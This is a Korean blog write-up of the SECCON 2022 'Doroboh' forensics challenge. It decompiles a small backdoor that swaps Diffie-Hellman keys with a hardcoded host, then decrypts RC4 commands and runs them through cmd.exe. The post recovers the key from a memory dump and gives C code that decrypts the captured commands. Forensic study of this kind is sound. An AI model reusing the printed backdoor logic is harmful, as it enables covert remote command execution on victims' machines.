Home (CTF) 2022 Seccon Doroboh writeup
Post
Cancel

(CTF) 2022 Seccon Doroboh writeup

대회기간에는 못풀었는데 아쉬워서 풀이 참고해 적어봄

1
2
3
4
5
6
7
8
9
10
11
12
13
14
The following diagram discribes what each file is.
Do not run araiguma.exe unless you fully understand the logic.

+-- Victim Machine --+       +-- Attacker Machine --+
| +--------------+   |       |   +-------------+    |
| | araiguma.exe |<------------->| kitsune.exe |    |
| +--------------+   |   ^   |   +-------------+    |
|        ^           |   |   |                      |
+--------|-----------+   |   +----------------------+
         |               |
  Memory |               | Packet
   Dump  |               | Capture
         |               |
  [ araiguma.DMP ] [ network.pcapng ]

바이너리 덤프파일, 네트워크 통신기록, 바이너리가 주어진다.

네트워크 통신기록 → 키교환, 암호화된 명령어 확인 가능

바이너리 덤프파일 → 메모리에 RC4 키 확인 가능 ( 명령어실행결과(플래그) 가 있어서 언인텐 발생 )

analysis


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
[1] prepare key
CryptAcquireContext(&provider, 0i64, "Microsoft Enhanced DSS and Diffie-Hellman Cryptographic Provider", 13i64, -268435456) )
CryptGenKey(provider, 0xAA02u, 0x2000041u, &public)
CryptSetKeyParam(public, 0xBu, &v15, 0)  //KP_P
CryptSetKeyParam(public, 0xCu, &v13, 0)  //KP_G
CryptSetKeyParam(public, 0xEu, 0i64, 0)  //KP_X
CryptExportKey(public, 0i64, 6u, 0, 0i64, &Size_4) // get size 
keyblob = HeapAlloc(ProcessHeap, 0, Size_4);
CryptExportKey(public, 0i64, 6u, 0, keyblob, &Size_4) // get key blob

[2] prepare socket connection
WSAStartup(2u, &v7);
fd = socket(2, 1, 0);
v6.sa_family = 2;
*v6.sa_data = htons(0x1F90u);
inet_pton(2, "192.168.3.6", &v6.sa_data[2]); // 192.168.3.6:8080
connect(fd, &v6, 16)

[3] exchange key
send(fd, &Size_4, 4, 0);
send(fd, keyblob, Size_4, 0); // send size / keyblob
recv(fd, &Size, 4, 0);
v18 = HeapAlloc(ProcessHeap, 0, Size);
recv(fd, v18, Size, 0);       // get size / keyblob
CryptImportKey(provider, v18, Size, public, 0, &key) // calc key
v5 = 26625;
CryptSetKeyParam(key, 7u, &v5, 0) 
// Convert ALG_AGREEDKEY_ANY to CALG_RC4.
memset(v18, 0, Size);

[4] receive command, decrypt and execute
while ( recv(fd, &v4, 4, 0) == 4 )
{
  cmd = HeapAlloc(ProcessHeap, 0, v4);
  if ( !cmd )
    break;
  recv(fd, cmd, v4, 0);
  if ( !CryptDecrypt(key, 0i64, 1, 0, cmd, &v4) )
  {
    HeapFree(ProcessHeap, 0, cmd);
    break;
  }
  ShellExecuteA(0i64, "open", "cmd.exe", cmd, 0i64, 0);
  memset(cmd, 0, v4);
  HeapFree(ProcessHeap, 0, cmd);
}
... release resources

바이너리는 생각보다 간단하다. 키를 준비한 뒤 교환하고 암호화된 명령어를 받아 복호화해서 실행하는 것밖에 없다.

키를 교환한 뒤, CryptSetKeyParam 함수로 암호화방식을 RC4 로 바꾼다. 그러면 RC4키의 주소는 key+0x58 (RC4 header) → RC4 header + 0x48 에 저장되어있다. 하지만 디버깅으로 확인해보면, key+0x58 에 있는 주소는 암호화되어있는 것을 확인할 수 있는데, ptr-yudai 선생님의 말에 따르면 credential provider dll 을 분석해보면, 키가 0xA2491D83D96214A0 임을 알 수 있다고 하신다.

[+] 2022.12.05

cryptsp.dll.CryptAcquireContextA 에서 xor 하는 부분을 찾으려했는데, 이 함수에서는 찾을 수 없어서 사용하는 부분인 provider 을 사용하는 함수 ( CryptGenKey ) 를 분석했다.

Untitled

hprov+16 → dessen.dll.CPGenKey

hprov+0xE0 → xored address

Untitled

dessen.dll.CPGenKey 함수에서 xor 상수를 확인할 수 있었다.

밑에있는 사진은 분석 바이너리처럼 키성생 후 RC4 로 변환하는 것을 디버깅한 과정이다.

Untitled

+0x58 에 있는 값과 키를 xor 하면 0x1B832995460 이라는 주소가 나온다.

Untitled

Untitled

Untitled

Untitled

RC4 convert 전/후, 각각 사진 2개, 16바이트만 잘라서 사용하는 것을 확인할 수 있다.

헤더의 signature → 0xbadf 임을 알았으니, 바이너리덤프파일을 windbg 로 열어서 검색해보자

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
||2:2:012> s 00000000`00000000 L1000000 df ba
00000000`000f4ba0  df ba 00 00 00 00 00 00-d0 9a 10 00 00 00 00 00  ................
00000000`000f54f0  df ba 00 00 00 00 00 00-d0 9a 10 00 00 00 00 00  ................
||2:2:012> dq 00000000`000f54f0
00000000`000f54f0  00000000`0000badf 00000000`00109ad0
00000000`000f5500  00006801`00000001 00000000`0000001b
00000000`000f5510  00000000`00000000 00000000`00000000
00000000`000f5520  00000000`00000000 00000000`00000000
00000000`000f5530  00000000`00000000 00000000`00113360 <- key pointer
00000000`000f5540  00000000`00000010 00000000`00000000
00000000`000f5550  00000000`00000000 00000000`00000000
00000000`000f5560  00000000`00000000 00000000`00000000
||2:2:012> db 00000000`00113360
00000000`00113360  f1 f5 85 a0 f3 27 87 ad-54 c0 66 10 af 2f 3a a3  .....'..T.f../:.
00000000`00113370  00 00 00 00 00 00 00 00-1d f6 89 be 00 2c 00 88  .............,..
00000000`00113380  4c 00 69 00 62 00 72 00-80 33 11 00 00 00 00 00  L.i.b.r..3......
00000000`00113390  00 00 00 00 00 00 00 80-13 f6 8b be 00 2d 00 90  .............-..
00000000`001133a0  01 00 00 00 00 00 00 00-50 77 12 00 00 00 00 00  ........Pw......
00000000`001133b0  00 00 00 00 00 00 00 00-11 f6 b5 be 00 2e 00 88  ................
00000000`001133c0  b0 05 00 00 64 00 2e 00-00 00 00 00 00 00 00 00  ....d...........
00000000`001133d0  00 00 00 00 00 00 00 00-17 f6 b7 be 00 2f 00 80  ............./..

s 0 L100000 df ba

위 명령어로 0부터 0x1000000 범위에서 0xbadf 를 검색하면 두 개의 결과가 나오고 두 번째 주소에 rc4 키값이 저장되어있는 것을 알 수 있다.


위 바이너리에 적힌 아이피로 필터링하여 TCP dump 를 확인해보면 다음과 같은 데이터를 얻을 수 있다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
BYTE peer0_0[] = { /* Packet 74 */                  // 1. send size
0x50, 0x00, 0x00, 0x00 };
BYTE peer0_1[] = { /* Packet 76 */                  // 2. send public key
0x06, 0x02, 0x00, 0x00, 0x02, 0xaa, 0x00, 0x00,0x00, 0x44, 0x48, 0x31, 0x00, 0x02, 0x00, 0x00,0x46, 0xa7, 0x17, 0xb1, 0xd5, 0x45, 0x37, 0xe8,0x62, 0xf6, 0xba, 0x6f, 0x80, 0x9a, 0xed, 0x00,0x21, 0xaf, 0xc4, 0x4b, 0x8c, 0x95, 0xc9, 0xbe,0xc8, 0x09, 0x51, 0x8f, 0x10, 0x00, 0x1c, 0xc9,0x64, 0x89, 0xad, 0x89, 0x14, 0xe1, 0xd4, 0xe0,0x08, 0xaa, 0x60, 0xbe, 0x8f, 0xe3, 0x6f, 0x9b,0x15, 0x6e, 0x35, 0x89, 0x40, 0xbb, 0xc1, 0xaa,0x70, 0x90, 0x98, 0xd9, 0x39, 0x57, 0xe6, 0x37 };
BYTE peer1_0[] = { /* Packet 78 */                  // 3. recv size
0x50, 0x00, 0x00, 0x00 };
BYTE buffer[] = { /* Packet 79 */                  // 4. recv key
0x06, 0x02, 0x00, 0x00, 0x02, 0xaa, 0x00, 0x00,0x00, 0x44, 0x48, 0x31, 0x00, 0x02, 0x00, 0x00,0x28, 0x8f, 0x76, 0x74, 0x9e, 0xc2, 0x0b, 0x9a,0xb1, 0x8c, 0x61, 0x84, 0x18, 0xae, 0x9a, 0x70,0x72, 0x26, 0x18, 0xdc, 0x68, 0x5e, 0x66, 0x7f,0xc0, 0xc1, 0x9b, 0x90, 0x6a, 0x6a, 0xa3, 0xa5,0x71, 0xf4, 0x73, 0xea, 0x0e, 0xaa, 0xda, 0x26,0x9f, 0x29, 0x86, 0x0d, 0x55, 0xdd, 0xcb, 0xa0,0x36, 0x7e, 0xe6, 0xf7, 0xa1, 0xfa, 0xc8, 0x3d,0x2d, 0x73, 0x95, 0x48, 0x29, 0x30, 0xb3, 0xb8 };
BYTE cmd1_length = 0x67; /* Packet 87 */                  // 5. cmd 1 length
BYTE cmd1[] = { /* Packet 88 */                  // 6. cmd 1
0x8c, 0x28, 0xc2, 0x0d, 0x02, 0x7a, 0xa8, 0xbc,0x9a, 0x71, 0xb1, 0x07, 0x02, 0x24, 0x21, 0xe9,0x07, 0x34, 0x0d, 0xe0, 0xf9, 0xa4, 0xc5, 0x40,0x61, 0x1f, 0x2d, 0x95, 0xb5, 0x60, 0xf8, 0x43,0x5f, 0xdb, 0x44, 0xec, 0xb3, 0x88, 0x76, 0xdd,0xab, 0x1f, 0xe3, 0xff, 0xca, 0xf2, 0x6a, 0xeb,0x65, 0xb7, 0xf7, 0xf4, 0xd1, 0xd0, 0xbc, 0x6c,0xee, 0xc5, 0x21, 0xc7, 0x7c, 0x27, 0xcd, 0x0f,0xfb, 0xa4, 0xa9, 0xd0, 0x07, 0x22, 0x8c, 0x47,0x82, 0x88, 0xb9, 0x06, 0xb6, 0x4d, 0x83, 0x2b,0xe9, 0x82, 0x2e, 0x12, 0x3e, 0xc4, 0xa5, 0xab,0xbc, 0x15, 0x5a, 0x24, 0xb6, 0x3a, 0x8c, 0x65,0x7c, 0x05, 0xff, 0x61, 0x48, 0x12, 0x4f };
BYTE cmd2_length = 0x66;// [] = { /* Packet 315 */                 // 7. cmd 2 length
BYTE cmd2[] = { /* Packet 316 */                 // 8. cmd 2
0x8c, 0x28, 0xc2, 0x0d, 0x02, 0x7a, 0xa8, 0xbc,0x9a, 0x6b, 0xd4, 0x36, 0x24, 0x0c, 0x1d, 0xf7,0x3e, 0x27, 0x14, 0xbf, 0xab, 0xae, 0xfb, 0x7d,0x34, 0x06, 0x35, 0xdf, 0x91, 0x74, 0xe2, 0x47,0x19, 0xdd, 0x3b, 0xcc, 0xe8, 0x95, 0x72, 0xdd,0xad, 0x49, 0xac, 0x8c, 0x93, 0xf1, 0x22, 0xaa,0x61, 0xad, 0xa3, 0xf3, 0xcb, 0x8a, 0xa1, 0x28,0x8b, 0xab, 0x33, 0x95, 0x71, 0x69, 0xfd, 0x04,0xc4, 0x82, 0xa7, 0x97, 0x55, 0x6f, 0xf0, 0x67,0xcc, 0xb2, 0xb0, 0x31, 0xb6, 0x4c, 0x9b, 0x03,0xe5, 0x86, 0x14, 0x20, 0x15, 0xd5, 0xbf, 0xa6,0xa1, 0x19, 0x4b, 0x0c, 0xb9, 0x39, 0x83, 0x2c,0x26, 0x09, 0xf3, 0x18, 0x4f, 0x18 };

지금까지 모은 데이터를 이용해 다음과 같이 소스를 작성해서 명령어를 복호화할 수 있다.

  1. 주어진 G, P 값 설정하고 임의 키(X) 생성
  2. 서버에서 Export 한 키값을 Import
  3. 암호화방식 RC4 로 바꾼 뒤 구한 키값으로 overwrite
  4. 복호화
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
#pragma comment(lib, "crypt32.lib")
#include <stdio.h>
#include <tchar.h>
#include <windows.h>
#include <Wincrypt.h>

BYTE peer0_0[] = { /* Packet 74 */                  // 1. send size
0x50, 0x00, 0x00, 0x00 };
BYTE peer0_1[] = { /* Packet 76 */                  // 2. send public key
0x06, 0x02, 0x00, 0x00, 0x02, 0xaa, 0x00, 0x00,0x00, 0x44, 0x48, 0x31, 0x00, 0x02, 0x00, 0x00,0x46, 0xa7, 0x17, 0xb1, 0xd5, 0x45, 0x37, 0xe8,0x62, 0xf6, 0xba, 0x6f, 0x80, 0x9a, 0xed, 0x00,0x21, 0xaf, 0xc4, 0x4b, 0x8c, 0x95, 0xc9, 0xbe,0xc8, 0x09, 0x51, 0x8f, 0x10, 0x00, 0x1c, 0xc9,0x64, 0x89, 0xad, 0x89, 0x14, 0xe1, 0xd4, 0xe0,0x08, 0xaa, 0x60, 0xbe, 0x8f, 0xe3, 0x6f, 0x9b,0x15, 0x6e, 0x35, 0x89, 0x40, 0xbb, 0xc1, 0xaa,0x70, 0x90, 0x98, 0xd9, 0x39, 0x57, 0xe6, 0x37 };
BYTE peer1_0[] = { /* Packet 78 */                  // 3. recv size
0x50, 0x00, 0x00, 0x00 };
BYTE buffer[] = { /* Packet 79 */                  // 4. recv key
0x06, 0x02, 0x00, 0x00, 0x02, 0xaa, 0x00, 0x00,0x00, 0x44, 0x48, 0x31, 0x00, 0x02, 0x00, 0x00,0x28, 0x8f, 0x76, 0x74, 0x9e, 0xc2, 0x0b, 0x9a,0xb1, 0x8c, 0x61, 0x84, 0x18, 0xae, 0x9a, 0x70,0x72, 0x26, 0x18, 0xdc, 0x68, 0x5e, 0x66, 0x7f,0xc0, 0xc1, 0x9b, 0x90, 0x6a, 0x6a, 0xa3, 0xa5,0x71, 0xf4, 0x73, 0xea, 0x0e, 0xaa, 0xda, 0x26,0x9f, 0x29, 0x86, 0x0d, 0x55, 0xdd, 0xcb, 0xa0,0x36, 0x7e, 0xe6, 0xf7, 0xa1, 0xfa, 0xc8, 0x3d,0x2d, 0x73, 0x95, 0x48, 0x29, 0x30, 0xb3, 0xb8 };
BYTE cmd1_length = 0x67; /* Packet 87 */                  // 5. cmd 1 length
BYTE cmd1[] = { /* Packet 88 */                  // 6. cmd 1
0x8c, 0x28, 0xc2, 0x0d, 0x02, 0x7a, 0xa8, 0xbc,0x9a, 0x71, 0xb1, 0x07, 0x02, 0x24, 0x21, 0xe9,0x07, 0x34, 0x0d, 0xe0, 0xf9, 0xa4, 0xc5, 0x40,0x61, 0x1f, 0x2d, 0x95, 0xb5, 0x60, 0xf8, 0x43,0x5f, 0xdb, 0x44, 0xec, 0xb3, 0x88, 0x76, 0xdd,0xab, 0x1f, 0xe3, 0xff, 0xca, 0xf2, 0x6a, 0xeb,0x65, 0xb7, 0xf7, 0xf4, 0xd1, 0xd0, 0xbc, 0x6c,0xee, 0xc5, 0x21, 0xc7, 0x7c, 0x27, 0xcd, 0x0f,0xfb, 0xa4, 0xa9, 0xd0, 0x07, 0x22, 0x8c, 0x47,0x82, 0x88, 0xb9, 0x06, 0xb6, 0x4d, 0x83, 0x2b,0xe9, 0x82, 0x2e, 0x12, 0x3e, 0xc4, 0xa5, 0xab,0xbc, 0x15, 0x5a, 0x24, 0xb6, 0x3a, 0x8c, 0x65,0x7c, 0x05, 0xff, 0x61, 0x48, 0x12, 0x4f };
BYTE cmd2_length = 0x66;// [] = { /* Packet 315 */                 // 7. cmd 2 length
BYTE cmd2[] = { /* Packet 316 */                 // 8. cmd 2
0x8c, 0x28, 0xc2, 0x0d, 0x02, 0x7a, 0xa8, 0xbc,0x9a, 0x6b, 0xd4, 0x36, 0x24, 0x0c, 0x1d, 0xf7,0x3e, 0x27, 0x14, 0xbf, 0xab, 0xae, 0xfb, 0x7d,0x34, 0x06, 0x35, 0xdf, 0x91, 0x74, 0xe2, 0x47,0x19, 0xdd, 0x3b, 0xcc, 0xe8, 0x95, 0x72, 0xdd,0xad, 0x49, 0xac, 0x8c, 0x93, 0xf1, 0x22, 0xaa,0x61, 0xad, 0xa3, 0xf3, 0xcb, 0x8a, 0xa1, 0x28,0x8b, 0xab, 0x33, 0x95, 0x71, 0x69, 0xfd, 0x04,0xc4, 0x82, 0xa7, 0x97, 0x55, 0x6f, 0xf0, 0x67,0xcc, 0xb2, 0xb0, 0x31, 0xb6, 0x4c, 0x9b, 0x03,0xe5, 0x86, 0x14, 0x20, 0x15, 0xd5, 0xbf, 0xa6,0xa1, 0x19, 0x4b, 0x0c, 0xb9, 0x39, 0x83, 0x2c,0x26, 0x09, 0xf3, 0x18, 0x4f, 0x18 };
const BYTE g_P[] =
{
  0xED, 0xA1, 0x53, 0x9B, 0xD8, 0x26, 0x05, 0x03, 0x3A, 0x88,
  0x52, 0x29, 0xF8, 0x77, 0x54, 0xCF, 0x1D, 0xAB, 0x60, 0x3A,
  0xB9, 0xB0, 0x1F, 0xE3, 0xA3, 0x69, 0x4E, 0x84, 0xB6, 0x2F,
  0x02, 0x20, 0x1F, 0xE1, 0x6E, 0x25, 0xCD, 0xBB, 0x74, 0x56,
  0x32, 0x05, 0x02, 0x6A, 0x8F, 0x7B, 0x9A, 0x89, 0x80, 0x52,
  0x71, 0xEE, 0xF8, 0xA6, 0x4B, 0x91, 0xB1, 0x35, 0x03, 0x76,
  0xC1, 0xCE, 0x21, 0xCF
};
const BYTE g_G[] =
{
  0x14, 0xCF, 0x6B, 0x2F, 0xCA, 0xE9, 0x51, 0xA6, 0xFD, 0x4D,
  0xAB, 0xEA, 0x92, 0x29, 0xBB, 0xB8, 0x3F, 0xB4, 0x56, 0x54,
  0x1B, 0x8E, 0x7C, 0xE7, 0x1E, 0x68, 0x50, 0x02, 0x4B, 0x44,
  0x7B, 0xA3, 0x13, 0xC8, 0x83, 0x69, 0xC0, 0x1A, 0xDE, 0x06,
  0x11, 0x6D, 0x0D, 0xAB, 0x93, 0x0F, 0xAE, 0xFB, 0x96, 0x17,
  0x77, 0x86, 0x9B, 0x7D, 0xCD, 0x72, 0xCE, 0x1F, 0x80, 0x36,
  0x49, 0x06, 0x79, 0x7C
};
void main(void)
{
    HCRYPTPROV hCryptProv;
    HCRYPTKEY hCryptKey,key;
    DATA_BLOB P;
    DATA_BLOB G;
    P.cbData = 0x40;
    P.pbData = (BYTE*)(g_P);
    G.cbData = 0x40;
    G.pbData = (BYTE*)(g_G);
    DWORD Size_4 = NULL;
    DWORD pbData = 0x6801;

    CryptAcquireContext(&hCryptProv,NULL,TEXT("Microsoft Enhanced DSS and Diffie-Hellman Cryptographic Provider"),13,0xf0000000);
    CryptGenKey(hCryptProv, 0xaa02, 0x2000041, &hCryptKey);
    CryptSetKeyParam(hCryptKey, KP_P, (PBYTE)&P, 0);
    CryptSetKeyParam(hCryptKey, KP_G, (PBYTE)&G, 0);
    CryptSetKeyParam(hCryptKey, KP_X, 0, 0);    
    CryptImportKey(hCryptProv, buffer, 0x50, hCryptKey, 0, &key);
    CryptSetKeyParam(key, 7u, (BYTE*)&pbData, 0); // to RC4

		/* from ptr-yudai's source */
    BYTE extractedKey[] = { 241, 245, 133, 160, 243, 39, 135, 173, 84, 192, 102, 16, 175, 47, 58, 163 };
    unsigned long long enckey = *(unsigned long long*)((char*)key + 0x58);
    void* ptr_secret = (void*)(enckey ^ 0xA2491D83D96214A0ULL);
    unsigned char* key_p = (unsigned char*)(*(unsigned long long*)((BYTE*)ptr_secret + 0x48));
    memcpy((BYTE*)key_p, extractedKey, 0x10);
		/* overwrite key from dump file */

		/* decrypt commands */
    DWORD dwLength = 0;
    CryptDecrypt(key, 0, 1, 0, cmd1, &dwLength);
    dwLength = 0x67;
    CryptDecrypt(key, 0i64, 1, 0, cmd1, &dwLength);
    puts((char*)cmd1);
    dwLength = 0x66;
    CryptDecrypt(key, 0, 1, 0, cmd2, &dwLength);
    puts((char*)cmd2);   
}

1,2 번 과정에서 굳이 패킷에 있는 데이터를 쓸 필요가 없다. 그냥 임의로 키교환 하고 RC4 키만 바꾸면 되기때문 풀이에서는 처음에 0을 넣어서 한 번 호출한 뒤 복호화했더니 cmd1, cmd2 복호화된 값이 정상적으로 나왔다. 안그럼 복호화가 이상하게됨

https://github.com/maldevel/WinRC4/blob/master/WinRC4/rc4.c

다른 소스에서도 먼저 length 에 0을 넣어 한 번 호출한 뒤 복호화하는데, 아직 이유는 모르겠당

/C echo “SECCON{M3m0ry_Dump+P4ck3t_C4ptur3=S0ph1st1c4t3d_F0r3ns1cs}” > C:\Users\ctf\Desktop\flag.txt

/C echo “I regret to say that your computer is pwned… :(“ > C:\Users\ctf\Desktop\notification.txt


ptr-yudai’s wirteup (from discord)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
I focused on analysing RC4 key generation rather than the encrypted DH key.
So... unfortunately I don't know what kind of encryption is used for DH.

There is a magic number in the key store (as far as I remember it was ba df 00 00 00 00 00 00).
My intended solution is

1. Search for magic number in memory
2. If offset +58h has XORed pointer, it's pointing to RC4 key
3. The RC4 key has pointer to the actualy key (?) bytearray. (xor key is 0xA2491D83D96214A0, found by reversing credential provider's dll)
4. Extract RC4 key.

Now you can decrypt the data by

a. Create random RC4 key and get the pointer (handle).
b. Follow 2,3
c. Replace the key with the key extracted in step 4
d. Decrypt the message.

#include <windows.h>
#include <bcrypt.h>
#include <stdlib.h>
#include <stdio.h>
#define DHKEYSIZE 512

static const BYTE g_P[] = {
  0xed, 0xa1, 0x53, 0x9b, 0xd8, 0x26, 0x05, 0x03,
  0x3a, 0x88, 0x52, 0x29, 0xf8, 0x77, 0x54, 0xcf,
  0x1d, 0xab, 0x60, 0x3a, 0xb9, 0xb0, 0x1f, 0xe3,
  0xa3, 0x69, 0x4e, 0x84, 0xb6, 0x2f, 0x02, 0x20,
  0x1f, 0xe1, 0x6e, 0x25, 0xcd, 0xbb, 0x74, 0x56,
  0x32, 0x05, 0x02, 0x6a, 0x8f, 0x7b, 0x9a, 0x89,
  0x80, 0x52, 0x71, 0xee, 0xf8, 0xa6, 0x4b, 0x91,
  0xb1, 0x35, 0x03, 0x76, 0xc1, 0xce, 0x21, 0xcf
};

static const BYTE g_G[] = {
  0x14, 0xcf, 0x6b, 0x2f, 0xca, 0xe9, 0x51, 0xa6,
  0xfd, 0x4d, 0xab, 0xea, 0x92, 0x29, 0xbb, 0xb8,
  0x3f, 0xb4, 0x56, 0x54, 0x1b, 0x8e, 0x7c, 0xe7,
  0x1e, 0x68, 0x50, 0x02, 0x4b, 0x44, 0x7b, 0xa3,
  0x13, 0xc8, 0x83, 0x69, 0xc0, 0x1a, 0xde, 0x06,
  0x11, 0x6d, 0x0d, 0xab, 0x93, 0x0f, 0xae, 0xfb,
  0x96, 0x17, 0x77, 0x86, 0x9b, 0x7d, 0xcd, 0x72,
  0xce, 0x1f, 0x80, 0x36, 0x49, 0x06, 0x79, 0x7c
};

static const BYTE extractedKey[] = {
  0xF1, 0xF5, 0x85, 0xA0, 0xF3, 0x27, 0x87, 0xAD,
  0x54, 0xC0, 0x66, 0x10, 0xAF, 0x2F, 0x3A, 0xA3
};

int main() {
  HANDLE hHeap;
  DATA_BLOB P, G;
  PBYTE pbKeyBlob;
  HCRYPTPROV hCryptProv1, hCryptProv2;
  HCRYPTKEY  hCryptKey1, hCryptKey2, hSessionKey;

  P.cbData = DHKEYSIZE / 8;
  P.pbData = (BYTE*)(g_P);
  G.cbData = DHKEYSIZE / 8;
  G.pbData = (BYTE*)(g_G);

  /* Create DH container */
  if (!CryptAcquireContext(&hCryptProv1, NULL,
                           MS_ENH_DSS_DH_PROV,
                           PROV_DSS_DH,
                           CRYPT_VERIFYCONTEXT))
    return 1;
  if (!CryptAcquireContext(&hCryptProv2, NULL,
                           MS_ENH_DSS_DH_PROV,
                           PROV_DSS_DH,
                           CRYPT_VERIFYCONTEXT))
    return 1;

  /* Create a new key */
  if (!CryptGenKey(hCryptProv1,
                   CALG_DH_EPHEM,
                   DHKEYSIZE << 16 | CRYPT_EXPORTABLE | CRYPT_PREGEN,
                   &hCryptKey1))
    return 1;
  if (!CryptGenKey(hCryptProv2,
                   CALG_DH_EPHEM,
                   DHKEYSIZE << 16 | CRYPT_EXPORTABLE | CRYPT_PREGEN,
                   &hCryptKey2))
    return 1;

  /* Set P and G, generate X */
  if (!CryptSetKeyParam(hCryptKey1, KP_P, (PBYTE)&P, 0))
    return 1;
  if (!CryptSetKeyParam(hCryptKey1, KP_G, (PBYTE)&G, 0))
    return 1;
  if (!CryptSetKeyParam(hCryptKey1, KP_X, NULL, 0))
    return 1;
  if (!CryptSetKeyParam(hCryptKey2, KP_P, (PBYTE)&P, 0))
    return 1;
  if (!CryptSetKeyParam(hCryptKey2, KP_G, (PBYTE)&G, 0))
    return 1;
  if (!CryptSetKeyParam(hCryptKey2, KP_X, NULL, 0))
    return 1;

  /* Retrieve public key */
  DWORD dwDataLen;
  if (!CryptExportKey(hCryptKey2, 0, PUBLICKEYBLOB, 0, NULL, &dwDataLen))
    return 1;
  if (!(pbKeyBlob = malloc(dwDataLen)))
    return 1;
  if (!CryptExportKey(hCryptKey2, 0, PUBLICKEYBLOB, 0, pbKeyBlob, &dwDataLen))
    return 1;

  /* Import key */
  if (!CryptImportKey(hCryptProv1, pbKeyBlob, dwDataLen,
                      hCryptKey1, 0, &hSessionKey))
    return 1;

  /* Now key is shared */
  ALG_ID algid = CALG_RC4;
  if (!CryptSetKeyParam(hSessionKey, KP_ALGID, (PBYTE)&algid, 0))
    return 1;

  unsigned long long enckey = *(unsigned long long*)(((void*)hSessionKey) + 0x58);
  printf("[+] encrypted pointer = %p\n", enckey);
  void *ptr_secret = (void*)(enckey ^ 0xA2491D83D96214A0ULL);
  printf("[+] secret @ %p\n", ptr_secret);
  // assert (*(u64*)ptr_secret == 0xbadf) // magic number
  unsigned char *key = (unsigned char*)(*(unsigned long long*)(ptr_secret + 0x48));
  printf("[+] key @ %p\n", key);
  memcpy(key, extractedKey, 0x10);
  puts("[+] Successfully overwritten secret!");

  DWORD dwLength;

  /* Decrypt command 1 */
  unsigned char cmd1[] = {0x8c, 0x28, 0xc2, 0x0d, 0x02, 0x7a, 0xa8, 0xbc, 0x9a, 0x71, 0xb1, 0x07, 0x02, 0x24, 0x21, 0xe9, 0x07, 0x34, 0x0d, 0xe0, 0xf9, 0xa4, 0xc5, 0x40, 0x61, 0x1f, 0x2d, 0x95, 0xb5, 0x60, 0xf8, 0x43, 0x5f, 0xdb, 0x44, 0xec, 0xb3, 0x88, 0x76, 0xdd, 0xab, 0x1f, 0xe3, 0xff, 0xca, 0xf2, 0x6a, 0xeb, 0x65, 0xb7, 0xf7, 0xf4, 0xd1, 0xd0, 0xbc, 0x6c, 0xee, 0xc5, 0x21, 0xc7, 0x7c, 0x27, 0xcd, 0x0f, 0xfb, 0xa4, 0xa9, 0xd0, 0x07, 0x22, 0x8c, 0x47, 0x82, 0x88, 0xb9, 0x06, 0xb6, 0x4d, 0x83, 0x2b, 0xe9, 0x82, 0x2e, 0x12, 0x3e, 0xc4, 0xa5, 0xab, 0xbc, 0x15, 0x5a, 0x24, 0xb6, 0x3a, 0x8c, 0x65, 0x7c, 0x05, 0xff, 0x61, 0x48, 0x12, 0x4f};
  dwLength = 0;
  if (!CryptDecrypt(hSessionKey, 0, TRUE, 0, cmd1, &dwLength))
    return 1;
  dwLength = 0x67;
  if (!CryptDecrypt(hSessionKey, 0, TRUE, 0, cmd1, &dwLength))
    return 1;
  puts(cmd1);

  /* Decrypt command 2 */
  unsigned char cmd2[] = {0x8c, 0x28, 0xc2, 0x0d, 0x02, 0x7a, 0xa8, 0xbc, 0x9a, 0x6b, 0xd4, 0x36, 0x24, 0x0c, 0x1d, 0xf7, 0x3e, 0x27, 0x14, 0xbf, 0xab, 0xae, 0xfb, 0x7d, 0x34, 0x06, 0x35, 0xdf, 0x91, 0x74, 0xe2, 0x47, 0x19, 0xdd, 0x3b, 0xcc, 0xe8, 0x95, 0x72, 0xdd, 0xad, 0x49, 0xac, 0x8c, 0x93, 0xf1, 0x22, 0xaa, 0x61, 0xad, 0xa3, 0xf3, 0xcb, 0x8a, 0xa1, 0x28, 0x8b, 0xab, 0x33, 0x95, 0x71, 0x69, 0xfd, 0x04, 0xc4, 0x82, 0xa7, 0x97, 0x55, 0x6f, 0xf0, 0x67, 0xcc, 0xb2, 0xb0, 0x31, 0xb6, 0x4c, 0x9b, 0x03, 0xe5, 0x86, 0x14, 0x20, 0x15, 0xd5, 0xbf, 0xa6, 0xa1, 0x19, 0x4b, 0x0c, 0xb9, 0x39, 0x83, 0x2c, 0x26, 0x09, 0xf3, 0x18, 0x4f, 0x18};
  dwLength = 0x66;
  if (!CryptDecrypt(hSessionKey, 0, TRUE, 0, cmd2, &dwLength))
    return 1;
  puts(cmd2);

  return 0;
}

This post is licensed under CC BY 4.0 by the author.
Trending Tags